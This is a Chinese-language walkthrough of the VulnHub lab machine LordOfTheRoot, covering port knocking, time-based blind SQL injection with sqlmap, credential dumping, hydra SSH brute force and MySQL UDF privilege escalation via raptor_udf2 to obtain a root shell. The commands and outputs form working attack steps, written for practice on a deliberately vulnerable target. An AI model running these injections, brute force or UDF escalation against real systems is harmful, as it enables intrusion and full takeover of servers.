vulnhub(13):LordOfTheRoot(sql时间盲注、mysql udf提权)

端口

nmap主机发现
nmap -sn 192.168.72.0/24
​
Nmap scan report for 192.168.72.170
Host is up (0.00020s latency).
​
170是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.72.170 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE                                                                                    
22/tcp open  ssh                                                     
 
发现开放1个端口
nmap -Pn -sU 192.168.72.170 -p- --min-rate 
尝试udp扫描,当然结果什么都没有
​
说不定ssh可以登录:
ssh 192.168.72.170

看字:knock friend to enter
简单介绍一下:knock工作就是管理员设定的按照一定规则去按顺序去knock某些端口后,会执行管理员写好的代码
主要用于隐蔽,在这里很可能是knock某些端口后,会执行其他开放端口的代码
(介绍一下应用场景,与当前靶机无关,比如为了隐蔽使ssh端口默认处于关闭状态,knock特定规则的端口ssh端口开启,然后为了再次隐蔽,knock特定端口使得ssh用完后关闭,当然knock端口可以由管理员设置)
​
看到下方的 Easy as 1,2,3
我们直接:knock 192.168.72.170 1 2 3 
​
nmap再扫描一次
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste
​
nmap -sT -sC -sV -O -p22,1337 -oA nmap/info 192.168.72.170 
​
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c3de38e35f9da7420efaa494a1deddd (DSA)
|   2048 85946c87c9a8350f2cdbbbc13f2a50c1 (RSA)
|   256 f3cdaa1d05f21e8c618725b6f4344537 (ECDSA)
|_  256 34ec16dda7cf2a8645ec65ea05438921 (ED25519)
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

立足

主页是张图片,主页源代码页面就是图片链接,其他什么都没有,尝试查看其他目录
​
robots.txt:
居然也是张图片,查看源代码页面:
​
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>
​
推荐网站:https://hashes.com/zh/decrypt/hash
​
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh:Lzk3ODM0NTIxMC9pbmRleC5waHA
​
Lzk3ODM0NTIxMC9pbmRleC5waHA:/978345210/index.php

抓包sqlmap跑一下,sqlmap真吊,站在巨人得肩膀上
​
POST /978345210/ HTTP/1.1
Host: 192.168.72.170:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://192.168.72.170:1337
Connection: close
Referer: http://192.168.72.170:1337/978345210/
Cookie: PHPSESSID=hniik3khi6l5fh1f9asb58sk30
Upgrade-Insecure-Requests: 1
​
username=asdas&password=asdasd&submit=+Login+
sqlmap -r raj --batch --dbs --time-sec 1
​
这里--time-sec 1是因为发现了时间盲注,为了节约时间设置等待时间为1
​
4个数据库
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
​
看Webapp数据库:sqlmap -r raj --batch --dbs -D Webapp -tables --time-sec 1
​
一个表:
Database: Webapp
[1 table]
+-------+
| Users |
+-------+
​
看这个表的字段:
sqlmap -r raj --batch --dbs -D Webapp -T Users --columns --time-sec 1 
Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(10)      |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+
​
字段不多直接--dump-all这张表:sqlmap -r raj --batch --dbs -D Webapp -T Users --dump-all --time-sec 1
​
Database: Webapp
Table: Users
[5 entries]
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | iwilltakethering | frodo    |
| 2  | MyPreciousR00t   | smeagol  |
| 3  | AndMySword       | aragorn  |
| 4  | AndMyBow         | legolas  |
| 5  | AndMyAxe         | gimli    |
+----+------------------+----------+
制作字典
将
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | iwilltakethering | frodo    |
| 2  | MyPreciousR00t   | smeagol  |
| 3  | AndMySword       | aragorn  |
| 4  | AndMyBow         | legolas  |
| 5  | AndMyAxe         | gimli    |
+----+------------------+----------+
放在user_pass.txt
​
然后分别制作password.txt 和username.txt字典:
cat user_pass.txt | awk -F '|' {'print $3'} | tr -d ' ' > password.txt
cat user_pass.txt | awk -F '|' {'print $4'} | tr -d ' ' > username.txt
hydra爆破
hydra -L username.txt -P password.txt 192.168.72.170 ssh 
​
结果:[22][ssh] host: 192.168.72.170   login: smeagol   password: MyPreciousR00t

提权

有sql注入我们直接前往:/var/www
​
在/var/www/978345210/login.php我们看到如下内容:
$db = new mysqli('localhost', 'root', 'darkshadow', 'Webapp');
​
mysql用root登录,看看是否udf提权
searchsploit mysql udf
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) 
​
mysql udf是mysql的用户自定义函数,我们将函数存放在动态链接库中,那么这个动态链接库的所有者就是mysql创建udf时所使用的用户,恰好现在以root身份登录mysql,代表着我们能使用root将udf写入一个动态链接库,提权需要调用这个恶意函数,这还需要我们借助mysql的root权限来调用恶意函数
mysql udf提权步骤
1.编译:
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
​
2.登录:mysql -u root -p
​
3.创建表(这个表的作用就是借助mysql的root用户将恶意动态链接库写入/usr/lib/下):
mysql> use mysql;
mysql> create table foo(line blob);
​
4.写入恶意动态链接库:
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
​
5.创建udf
mysql> create function do_system returns integer soname 'raptor_udf2.so';
​
6.查看是否成功
mysql> select * from mysql.func;
​
7.执行提权代码
mysql> select do_system('cp /bin/sh /tmp/rootsh;chmod +x /tmp/rootsh');
这里说明一下为什么不拷贝/bin/bash,因为执行后bash会比对ruid和euid是否相同,如果不相同就降权到ruid,我们执行的话ruid是smeagol而euid是root,降权到smeagol
​
root
cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
mysql udf提权条件:
​
1.可登录的mysql用户具有root权限
2.secure_file_priv 有些设置选项:
SHOW VARIABLES LIKE 'secure_file_priv';
如果为空,不做目录限制,即任何目录均可以。
如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录。
如果设置为 NULL,MySQL 服务器禁止导入与导出功能。
​
次靶机
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值